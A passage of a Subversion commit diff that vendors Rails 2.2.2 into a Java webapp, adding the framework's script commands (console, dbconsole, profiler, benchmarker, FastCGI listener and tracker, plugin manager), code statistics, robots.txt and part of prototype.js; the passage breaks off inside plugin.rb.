+Element.ClassNames.prototype = {
+  initialize: function(element) {
+    this.element = $(element);
+  },
+
+  _each: function(iterator) {
+    this.element.className.split(/\s+/).select(function(name) {
+      return name.length > 0;
+    })._each(iterator);
+  },
+
+  set: function(className) {
+    this.element.className = className;
+  },
+
+  add: function(classNameToAdd) {
+    if (this.include(classNameToAdd)) return;
+    this.set($A(this).concat(classNameToAdd).join(' '));
+  },
+
+  remove: function(classNameToRemove) {
+    if (!this.include(classNameToRemove)) return;
+    this.set($A(this).without(classNameToRemove).join(' '));
+  },
+
+  toString: function() {
+    return $A(this).join(' ');
+  }
+};
+
+Object.extend(Element.ClassNames.prototype, Enumerable);
+
+/*--------------------------------------------------------------------------*/
+
+Element.addMethods();
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/robots.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/robots.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/robots.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+#
+# To ban all spiders from the entire site uncomment the next two lines:
+# User-Agent: *
+# Disallow: /

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/code_statistics.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/code_statistics.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/code_statistics.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,107 @@
+class CodeStatistics #:nodoc:
+
+  TEST_TYPES = %w(Units Functionals Unit\ tests Functional\ tests Integration\ tests)
+
+  def initialize(*pairs)
+    @pairs      = pairs
+    @statistics = calculate_statistics
+    @total      = calculate_total if pairs.length > 1
+  end
+
+  def to_s
+    print_header
+    @pairs.each { |pair| print_line(pair.first, @statistics[pair.first]) }
+    print_splitter
+  
+    if @total
+      print_line("Total", @total)
+      print_splitter
+    end
+
+    print_code_test_stats
+  end
+
+  private
+    def calculate_statistics
+      @pairs.inject({}) { |stats, pair| stats[pair.first] = calculate_directory_statistics(pair.last); stats }
+    end
+
+    def calculate_directory_statistics(directory, pattern = /.*\.rb$/)
+      stats = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 }
+
+      Dir.foreach(directory) do |file_name| 
+        if File.stat(directory + "/" + file_name).directory? and (/^\./ !~ file_name)
+          newstats = calculate_directory_statistics(directory + "/" + file_name, pattern)
+          stats.each { |k, v| stats[k] += newstats[k] }
+        end
+
+        next unless file_name =~ pattern
+
+        f = File.open(directory + "/" + file_name)
+
+        while line = f.gets
+          stats["lines"]     += 1
+          stats["classes"]   += 1 if line =~ /class [A-Z]/
+          stats["methods"]   += 1 if line =~ /def [a-z]/
+          stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ /^\s*#/
+        end
+      end
+
+      stats
+    end
+
+    def calculate_total
+      total = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 }
+      @statistics.each_value { |pair| pair.each { |k, v| total[k] += v } }
+      total
+    end
+
+    def calculate_code
+      code_loc = 0
+      @statistics.each { |k, v| code_loc += v['codelines'] unless TEST_TYPES.include? k }
+      code_loc
+    end
+
+    def calculate_tests
+      test_loc = 0
+      @statistics.each { |k, v| test_loc += v['codelines'] if TEST_TYPES.include? k }
+      test_loc
+    end
+
+    def print_header
+      print_splitter
+      puts "| Name                 | Lines |   LOC | Classes | Methods | M/C | LOC/M |"
+      print_splitter
+    end
+
+    def print_splitter
+      puts "+----------------------+-------+-------+---------+---------+-----+-------+"
+    end
+
+    def print_line(name, statistics)
+      m_over_c   = (statistics["methods"] / statistics["classes"])   rescue m_over_c = 0
+      loc_over_m = (statistics["codelines"] / statistics["methods"]) - 2 rescue loc_over_m = 0
+
+      start = if TEST_TYPES.include? name
+        "| #{name.ljust(20)} "
+      else
+        "| #{name.ljust(20)} " 
+      end
+
+      puts start + 
+           "| #{statistics["lines"].to_s.rjust(5)} " +
+           "| #{statistics["codelines"].to_s.rjust(5)} " +
+           "| #{statistics["classes"].to_s.rjust(7)} " +
+           "| #{statistics["methods"].to_s.rjust(7)} " +
+           "| #{m_over_c.to_s.rjust(3)} " +
+           "| #{loc_over_m.to_s.rjust(5)} |"
+    end
+
+    def print_code_test_stats
+      code  = calculate_code
+      tests = calculate_tests
+
+      puts "  Code LOC: #{code}     Test LOC: #{tests}     Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f/code)}"
+      puts ""
+    end
+  end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/about.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/about.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/about.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+require 'environment'
+require 'rails/info'
+puts Rails::Info

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/console.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/console.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/console.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,45 @@
+irb = RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'irb.bat' : 'irb'
+
+require 'optparse'
+
+options = { :sandbox => false, :irb => irb }
+OptionParser.new do |opt|
+  opt.banner = "Usage: console [environment] [options]"
+  opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |v| options[:sandbox] = v }
+  opt.on("--irb=[#{irb}]", 'Invoke a different irb.') { |v| options[:irb] = v }
+  opt.on("--debugger", 'Enable ruby-debugging for the console.') { |v| options[:debugger] = v }
+  opt.parse!(ARGV)
+end
+
+libs =  " -r irb/completion"
+libs << %( -r "#{RAILS_ROOT}/config/environment")
+libs << " -r console_app"
+libs << " -r console_sandbox" if options[:sandbox]
+libs << " -r console_with_helpers"
+
+if options[:debugger]
+  begin
+    require 'ruby-debug'
+    libs << " -r ruby-debug"
+    puts "=> Debugger enabled"
+  rescue Exception
+    puts "You need to install ruby-debug to run the console in debugging mode. With gems, use 'gem install ruby-debug'"
+    exit
+  end
+end
+
+ENV['RAILS_ENV'] = case ARGV.first
+  when "p"; "production"
+  when "d"; "development"
+  when "t"; "test"
+  else
+    ARGV.first || ENV['RAILS_ENV'] || 'development'
+end
+
+if options[:sandbox]
+  puts "Loading #{ENV['RAILS_ENV']} environment in sandbox (Rails #{Rails.version})"
+  puts "Any modifications you make will be rolled back on exit"
+else
+  puts "Loading #{ENV['RAILS_ENV']} environment (Rails #{Rails.version})"
+end
+exec "#{options[:irb]} #{libs} --simple-prompt"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/dbconsole.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/dbconsole.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/dbconsole.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,67 @@
+require 'erb'
+require 'yaml'
+require 'optparse'
+
+include_password = false
+
+OptionParser.new do |opt|
+  opt.banner = "Usage: dbconsole [options] [environment]"
+  opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v|
+    include_password = true
+  end
+  opt.parse!(ARGV)
+  abort opt.to_s unless (0..1).include?(ARGV.size)
+end
+
+env = ARGV.first || ENV['RAILS_ENV'] || 'development'
+unless config = YAML::load(ERB.new(IO.read(RAILS_ROOT + "/config/database.yml")).result)[env]
+  abort "No database is configured for the environment '#{env}'"
+end
+
+
+def find_cmd(*commands)
+  dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
+  commands += commands.map{|cmd| "#{cmd}.exe"} if RUBY_PLATFORM =~ /win32/
+  commands.detect do |cmd|
+    dirs_on_path.detect do |path|
+      File.executable? File.join(path, cmd)
+    end
+  end || abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
+end
+
+case config["adapter"]
+when "mysql"
+  args = {
+    'host'      => '--host',
+    'port'      => '--port',
+    'socket'    => '--socket',
+    'username'  => '--user',
+    'encoding'  => '--default-character-set'
+  }.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact
+
+  if config['password'] && include_password
+    args << "--password=#{config['password']}"
+  elsif config['password'] && !config['password'].empty?
+    args << "-p"
+  end
+
+  args << config['database']
+
+  exec(find_cmd('mysql', 'mysql5'), *args)
+
+when "postgresql"
+  ENV['PGUSER']     = config["username"] if config["username"]
+  ENV['PGHOST']     = config["host"] if config["host"]
+  ENV['PGPORT']     = config["port"].to_s if config["port"]
+  ENV['PGPASSWORD'] = config["password"].to_s if config["password"] && include_password
+  exec(find_cmd('psql'), config["database"])
+
+when "sqlite"
+  exec(find_cmd('sqlite'), config["database"])
+
+when "sqlite3"
+  exec(find_cmd('sqlite3'), config["database"])
+
+else
+  abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/destroy.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/destroy.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/destroy.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require "#{RAILS_ROOT}/config/environment"
+require 'rails_generator'
+require 'rails_generator/scripts/destroy'
+
+ARGV.shift if ['--help', '-h'].include?(ARGV[0])
+Rails::Generator::Scripts::Destroy.new.run(ARGV)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/generate.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/generate.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/generate.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require "#{RAILS_ROOT}/config/environment"
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+
+ARGV.shift if ['--help', '-h'].include?(ARGV[0])
+Rails::Generator::Scripts::Generate.new.run(ARGV)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/generate.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/listener
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/listener	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/listener	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,86 @@
+#!/usr/bin/env ruby
+
+require 'stringio'
+require 'fileutils'
+require 'fcgi_handler'
+
+def message(s)
+  $stderr.puts "listener: #{s}" if ENV && ENV["DEBUG_GATEWAY"]
+end
+
+class RemoteCGI < CGI
+  attr_accessor :stdinput, :stdoutput, :env_table
+  def initialize(env_table, input = nil, output = nil)
+    self.env_table = env_table
+    self.stdinput = input || StringIO.new
+    self.stdoutput = output || StringIO.new
+    super()
+  end
+
+  def out(stream) # Ignore the requested output stream
+    super(stdoutput)
+  end
+end
+
+class Listener
+  include DRbUndumped
+
+  def initialize(timeout, socket_path)
+    @socket = File.expand_path(socket_path)
+    @mutex = Mutex.new
+    @active = false
+    @timeout = timeout
+
+    @handler = RailsFCGIHandler.new
+    @handler.extend DRbUndumped
+
+    message 'opening socket'
+    DRb.start_service("drbunix:#{@socket}", self)
+
+    message 'entering process loop'
+    @handler.process! self
+  end
+
+  def each_cgi(&cgi_block)
+    @cgi_block = cgi_block
+    message 'entering idle loop'
+    loop do
+      sleep @timeout rescue nil
+      die! unless @active
+      @active = false
+    end
+  end
+
+  def process(env, input)
+    message 'received request'
+    @mutex.synchronize do
+      @active = true
+
+      message 'creating input stream'
+      input_stream = StringIO.new(input)
+      message 'building CGI instance'
+      cgi = RemoteCGI.new(eval(env), input_stream)
+
+      message 'yielding to fcgi handler'
+      @cgi_block.call cgi
+      message 'yield finished -- sending output'
+
+      cgi.stdoutput.seek(0)
+      output = cgi.stdoutput.read
+
+      return output
+    end
+  end
+
+  def die!
+    message 'shutting down'
+    DRb.stop_service
+    FileUtils.rm_f @socket
+    Kernel.exit 0
+  end
+end
+
+socket_path = ARGV.shift
+timeout = (ARGV.shift || 90).to_i
+
+Listener.new(timeout, socket_path)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/listener
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/tracker
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/tracker	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/tracker	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+#!/usr/bin/env ruby
+
+require 'drb'
+require 'thread'
+
+def message(s)
+  $stderr.puts "tracker: #{s}" if ENV && ENV["DEBUG_GATEWAY"]
+end
+
+class Tracker
+  include DRbUndumped
+
+  def initialize(instances, socket_path)
+    @instances = instances
+    @socket = File.expand_path(socket_path)
+    @active = false
+
+    @listeners = []
+    @instances.times { @listeners << Mutex.new }
+
+    message "using #{@listeners.length} listeners"
+    message "opening socket at #{@socket}"
+
+    @service = DRb.start_service("drbunix://#{@socket}", self)
+  end
+
+  def with_listener
+    message "listener requested"
+
+    mutex = has_lock = index = nil
+    3.times do 
+      @listeners.each_with_index do |mutex, index|
+        has_lock = mutex.try_lock
+        break if has_lock
+      end
+      break if has_lock
+      sleep 0.05
+    end
+
+    if has_lock
+      message "obtained listener #{index}"
+      @active = true
+      begin yield index
+      ensure
+        mutex.unlock
+        message "released listener #{index}"
+      end
+    else
+      message "dropping request because no listeners are available!"
+    end
+  end
+
+  def background(check_interval = nil)
+    if check_interval
+      loop do
+        sleep check_interval
+        message "Idle for #{check_interval}, shutting down" unless @active
+        @active = false
+        Kernel.exit 0
+      end
+    else DRb.thread.join
+    end
+  end
+end
+
+socket_path = ARGV.shift
+instances = ARGV.shift.to_i
+t = Tracker.new(instances, socket_path)
+t.background(ARGV.first ? ARGV.shift.to_i : 90)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi/tracker
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/benchmarker.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/benchmarker.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/benchmarker.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+if ARGV.empty?
+  puts "Usage: ./script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ..."
+  exit 1
+end
+
+begin
+  N = Integer(ARGV.first)
+  ARGV.shift
+rescue ArgumentError
+  N = 1
+end
+
+require RAILS_ROOT + '/config/environment'
+require 'benchmark'
+include Benchmark
+
+# Don't include compilation in the benchmark
+ARGV.each { |expression| eval(expression) }
+
+bm(6) do |x|
+  ARGV.each_with_index do |expression, idx|
+    x.report("##{idx + 1}") { N.times { eval(expression) } }
+  end
+end 

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/profiler.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/profiler.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/profiler.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,50 @@
+if ARGV.empty?
+  $stderr.puts "Usage: ./script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]"
+  exit(1)
+end
+
+# Keep the expensive require out of the profile.
+$stderr.puts 'Loading Rails...'
+require RAILS_ROOT + '/config/environment'
+
+# Define a method to profile.
+if ARGV[1] and ARGV[1].to_i > 1
+  eval "def profile_me() #{ARGV[1]}.times { #{ARGV[0]} } end"
+else
+  eval "def profile_me() #{ARGV[0]} end"
+end
+
+# Use the ruby-prof extension if available.  Fall back to stdlib profiler.
+begin
+  begin
+    require "ruby-prof"
+    $stderr.puts 'Using the ruby-prof extension.'
+    RubyProf.measure_mode = RubyProf::WALL_TIME
+    RubyProf.start
+    profile_me
+    results = RubyProf.stop
+    if ARGV[2]
+      printer_class = RubyProf.const_get((ARGV[2] + "_printer").classify)
+    else
+      printer_class = RubyProf::FlatPrinter
+    end
+    printer = printer_class.new(results)
+    printer.print($stderr, 0)
+  rescue LoadError
+    require "prof"
+    $stderr.puts 'Using the old ruby-prof extension.'
+    Prof.clock_mode = Prof::GETTIMEOFDAY
+    Prof.start
+    profile_me
+    results = Prof.stop
+    require 'rubyprof_ext'
+    Prof.print_profile(results, $stderr)
+  end
+rescue LoadError
+  require 'profiler'
+  $stderr.puts 'Using the standard Ruby profiler.'
+  Profiler__.start_profile
+  profile_me
+  Profiler__.stop_profile
+  Profiler__.print_profile($stderr)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/request.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/request.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/request.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+#!/usr/bin/env ruby
+require 'config/environment'
+require 'application'
+require 'action_controller/request_profiler'
+
+ActionController::RequestProfiler.run(ARGV)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance/request.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/plugin.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/plugin.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/plugin.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,967 @@
+# Rails Plugin Manager.
+# 
+# Listing available plugins:
+#
+#   $ ./script/plugin list
+#   continuous_builder            http://dev.rubyonrails.com/svn/rails/plugins/continuous_builder
+#   asset_timestamping            http://svn.aviditybytes.com/rails/plugins/asset_timestamping
+#   enumerations_mixin            http://svn.protocool.com/rails/plugins/enumerations_mixin/trunk
+#   calculations                  http://techno-weenie.net/svn/projects/calculations/
+#   ...
+#
+# Installing plugins:
+#
+#   $ ./script/plugin install continuous_builder asset_timestamping
+#
+# Finding Repositories:
+#
+#   $ ./script/plugin discover
+# 
+# Adding Repositories:
+#
+#   $ ./script/plugin source http://svn.protocool.com/rails/plugins/
+#
+# How it works:
+# 
+#   * Maintains a list of subversion repositories that are assumed to have
+#     a plugin directory structure. Manage them with the (source, unsource,
+#     and sources commands)
+#     
+#   * The discover command scrapes the following page for things that
+#     look like subversion repositories with plugins:
+#     http://wiki.rubyonrails.org/rails/pages/Plugins
+# 
+#   * Unless you specify that you want to use svn, script/plugin uses plain old
+#     HTTP for downloads.  The following bullets are true if you specify
+#     that you want to use svn.
+#
+#   * If `vendor/plugins` is under subversion control, the script will
+#     modify the svn:externals property and perform an update. You can
+#     use normal subversion commands to keep the plugins up to date.
+# 
+#   * Or, if `vendor/plugins` is not under subversion control, the
+#     plugin is pulled via `svn checkout` or `svn export` but looks
+#     exactly the same.
+# 
+# Specifying revisions:
+#
+#   * Subversion revision is a single integer.
+#
+#   * Git revision format:
+#     - full - 'refs/tags/1.8.0' or 'refs/heads/experimental'
+#     - short: 'experimental' (equivalent to 'refs/heads/experimental')
+#              'tag 1.8.0' (equivalent to 'refs/tags/1.8.0')
+#
+#
+# This is Free Software, copyright 2005 by Ryan Tomayko (rtomayko at gmail.com) 
+# and is licensed MIT: (http://www.opensource.org/licenses/mit-license.php)
+
+$verbose = false
+
+
+require 'open-uri'
+require 'fileutils'
+require 'tempfile'
+
+include FileUtils
+
+class RailsEnvironment
+  attr_reader :root
+
+  def initialize(dir)
+    @root = dir
+  end
+
+  def self.find(dir=nil)
+    dir ||= pwd
+    while dir.length > 1
+      return new(dir) if File.exist?(File.join(dir, 'config', 'environment.rb'))
+      dir = File.dirname(dir)
+    end
+  end
+  
+  def self.default
+    @default ||= find
+  end
+  
+  def self.default=(rails_env)
+    @default = rails_env
+  end
+  
+  def install(name_uri_or_plugin)
+    if name_uri_or_plugin.is_a? String
+      if name_uri_or_plugin =~ /:\/\// 
+        plugin = Plugin.new(name_uri_or_plugin)
+      else
+        plugin = Plugins[name_uri_or_plugin]
+      end
+    else
+      plugin = name_uri_or_plugin
+    end
+    unless plugin.nil?
+      plugin.install
+    else
+      puts "Plugin not found: #{name_uri_or_plugin}"
+    end
+  end
+ 
+  def use_svn?
+    require 'active_support/core_ext/kernel'
+    silence_stderr {`svn --version` rescue nil}
+    !$?.nil? && $?.success?
+  end
+
+  def use_externals?
+    use_svn? && File.directory?("#{root}/vendor/plugins/.svn")
+  end
+
+  def use_checkout?
+    # this is a bit of a guess. we assume that if the rails environment
+    # is under subversion then they probably want the plugin checked out
+    # instead of exported. This can be overridden on the command line
+    File.directory?("#{root}/.svn")
+  end
+
+  def best_install_method
+    return :http unless use_svn?
+    case
+      when use_externals? then :externals
+      when use_checkout? then :checkout
+      else :export
+    end
+  end
+
+  def externals
+    return [] unless use_externals?
+    ext = `svn propget svn:externals "#{root}/vendor/plugins"`
+    ext.reject{ |line| line.strip == '' }.map do |line| 
+      line.strip.split(/\s+/, 2) 
+    end
+  end
+
+  def externals=(items)
+    unless items.is_a? String
+      items = items.map{|name,uri| "#{name.ljust(29)} #{uri.chomp('/')}"}.join("\n")
+    end
+    Tempfile.open("svn-set-prop") do |file|
+      file.write(items)
+      file.flush
+      system("svn propset -q svn:externals -F \"#{file.path}\" \"#{root}/vendor/plugins\"")
+    end
+  end
+  
+end
+
+class Plugin
+  attr_reader :name, :uri
+  
+  def initialize(uri, name=nil)
+    @uri = uri
+    guess_name(uri)
+  end
+  
+  def self.find(name)
+    name =~ /\// ? new(name) : Repositories.instance.find_plugin(name)
+  end
+  
+  def to_s
+    "#{@name.ljust(30)}#{@uri}"
+  end
+  
+  def svn_url?
+    @uri =~ /svn(?:\+ssh)?:\/\/*/
+  end
+  
+  def git_url?
+    @uri =~ /^git:\/\// || @uri =~ /\.git$/
+  end
+  
+  def installed?
+    File.directory?("#{rails_env.root}/vendor/plugins/#{name}") \
+      or rails_env.externals.detect{ |name, repo| self.uri == repo }
+  end
+  
+  def install(method=nil, options = {})
+    method ||= rails_env.best_install_method?
+    if :http == method
+      method = :export if svn_url?
+      method = :git    if git_url?
+    end
+
+    uninstall if installed? and options[:force]
+
+    unless installed?
+      send("install_using_#{method}", options)
+      run_install_hook
+    else
+      puts "already installed: #{name} (#{uri}).  pass --force to reinstall"
+    end
+  end
+
+  def uninstall
+    path = "#{rails_env.root}/vendor/plugins/#{name}"
+    if File.directory?(path)
+      puts "Removing 'vendor/plugins/#{name}'" if $verbose
+      run_uninstall_hook
+      rm_r path
+    else
+      puts "Plugin doesn't exist: #{path}"
+    end
+    # clean up svn:externals
+    externals = rails_env.externals
+    externals.reject!{|n,u| name == n or name == u}
+    rails_env.externals = externals
+  end
+
+  def info
+    tmp = "#{rails_env.root}/_tmp_about.yml"
+    if svn_url?
+      cmd = "svn export #{@uri} \"#{rails_env.root}/#{tmp}\""
+      puts cmd if $verbose
+      system(cmd)
+    end
+    open(svn_url? ? tmp : File.join(@uri, 'about.yml')) do |stream|
+      stream.read
+    end rescue "No about.yml found in #{uri}"
+  ensure
+    FileUtils.rm_rf tmp if svn_url?
+  end
+
+  private 
+
+    def run_install_hook
+      install_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/install.rb"
+      load install_hook_file if File.exist? install_hook_file
+    end
+
+    def run_uninstall_hook
+      uninstall_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/uninstall.rb"
+      load uninstall_hook_file if File.exist? uninstall_hook_file
+    end
+
+    def install_using_export(options = {})
+      svn_command :export, options
+    end
+    
+    def install_using_checkout(options = {})
+      svn_command :checkout, options
+    end
+    
+    def install_using_externals(options = {})
+      externals = rails_env.externals
+      externals.push([@name, uri])
+      rails_env.externals = externals
+      install_using_checkout(options)
+    end
+
+    def install_using_http(options = {})
+      root = rails_env.root
+      mkdir_p "#{root}/vendor/plugins/#{@name}"
+      Dir.chdir "#{root}/vendor/plugins/#{@name}" do
+        puts "fetching from '#{uri}'" if $verbose
+        fetcher = RecursiveHTTPFetcher.new(uri, -1)
+        fetcher.quiet = true if options[:quiet]
+        fetcher.fetch
+      end
+    end
+    
+    def install_using_git(options = {})
+      root = rails_env.root
+      install_path = mkdir_p "#{root}/vendor/plugins/#{name}"
+      Dir.chdir install_path do
+        init_cmd = "git init"
+        init_cmd += " -q" if options[:quiet] and not $verbose
+        puts init_cmd if $verbose
+        system(init_cmd)
+        base_cmd = "git pull --depth 1 #{uri}"
+        base_cmd += " -q" if options[:quiet] and not $verbose
+        base_cmd += " #{options[:revision]}" if options[:revision]
+        puts base_cmd if $verbose
+        if system(base_cmd)
+          puts "removing: .git" if $verbose
+          rm_rf ".git"
+        else
+          rm_rf install_path
+        end
+      end
+    end
+
+    def svn_command(cmd, options = {})
+      root = rails_env.root
+      mkdir_p "#{root}/vendor/plugins"
+      base_cmd = "svn #{cmd} #{uri} \"#{root}/vendor/plugins/#{name}\""
+      base_cmd += ' -q' if options[:quiet] and not $verbose
+      base_cmd += " -r #{options[:revision]}" if options[:revision]
+      puts base_cmd if $verbose
+      system(base_cmd)
+    end
+
+    def guess_name(url)
+      @name = File.basename(url)
+      if @name == 'trunk' || @name.empty?
+        @name = File.basename(File.dirname(url))
+      end
+      @name.gsub!(/\.git$/, '') if @name =~ /\.git$/
+    end
+    
+    def rails_env
+      @rails_env || RailsEnvironment.default
+    end
+end
+
+class Repositories
+  include Enumerable
+  
+  def initialize(cache_file = File.join(find_home, ".rails-plugin-sources"))
+    @cache_file = File.expand_path(cache_file)
+    load!
+  end
+  
+  def each(&block)
+    @repositories.each(&block)
+  end
+  
+  def add(uri)
+    unless find{|repo| repo.uri == uri }
+      @repositories.push(Repository.new(uri)).last
+    end
+  end
+  
+  def remove(uri)
+    @repositories.reject!{|repo| repo.uri == uri}
+  end
+  
+  def exist?(uri)
+    @repositories.detect{|repo| repo.uri == uri }
+  end
+  
+  def all
+    @repositories
+  end
+  
+  def find_plugin(name)
+    @repositories.each do |repo|
+      repo.each do |plugin|
+        return plugin if plugin.name == name
+      end
+    end
+    return nil
+  end
+  
+  def load!
+    contents = File.exist?(@cache_file) ? File.read(@cache_file) : defaults
+    contents = defaults if contents.empty?
+    @repositories = contents.split(/\n/).reject do |line|
+      line =~ /^\s*#/ or line =~ /^\s*$/
+    end.map { |source| Repository.new(source.strip) }
+  end
+  
+  def save
+    File.open(@cache_file, 'w') do |f|
+      each do |repo|
+        f.write(repo.uri)
+        f.write("\n")
+      end
+    end
+  end
+  
+  def defaults
+    <<-DEFAULTS
+    http://dev.rubyonrails.com/svn/rails/plugins/
+    DEFAULTS
+  end
+ 
+  def find_home
+    ['HOME', 'USERPROFILE'].each do |homekey|
+      return ENV[homekey] if ENV[homekey]
+    end
+    if ENV['HOMEDRIVE'] && ENV['HOMEPATH']
+      return "#{ENV['HOMEDRIVE']}:#{ENV['HOMEPATH']}"
+    end
+    begin
+      File.expand_path("~")
+    rescue StandardError => ex
+      if File::ALT_SEPARATOR
+        "C:/"
+      else
+        "/"
+      end
+    end
+  end
+
+  def self.instance
+    @instance ||= Repositories.new
+  end
+  
+  def self.each(&block)
+    self.instance.each(&block)
+  end
+end
+
+class Repository
+  include Enumerable
+  attr_reader :uri, :plugins
+  
+  def initialize(uri)
+    @uri = uri.chomp('/') << "/"
+    @plugins = nil
+  end
+  
+  def plugins
+    unless @plugins
+      if $verbose
+        puts "Discovering plugins in #{@uri}" 
+        puts index
+      end
+
+      @plugins = index.reject{ |line| line !~ /\/$/ }
+      @plugins.map! { |name| Plugin.new(File.join(@uri, name), name) }
+    end
+
+    @plugins
+  end
+  
+  def each(&block)
+    plugins.each(&block)
+  end
+  
+  private
+    def index
+      @index ||= RecursiveHTTPFetcher.new(@uri).ls
+    end
+end
+
+
+# load default environment and parse arguments
+require 'optparse'
+module Commands
+
+  class Plugin
+    attr_reader :environment, :script_name, :sources
+    def initialize
+      @environment = RailsEnvironment.default
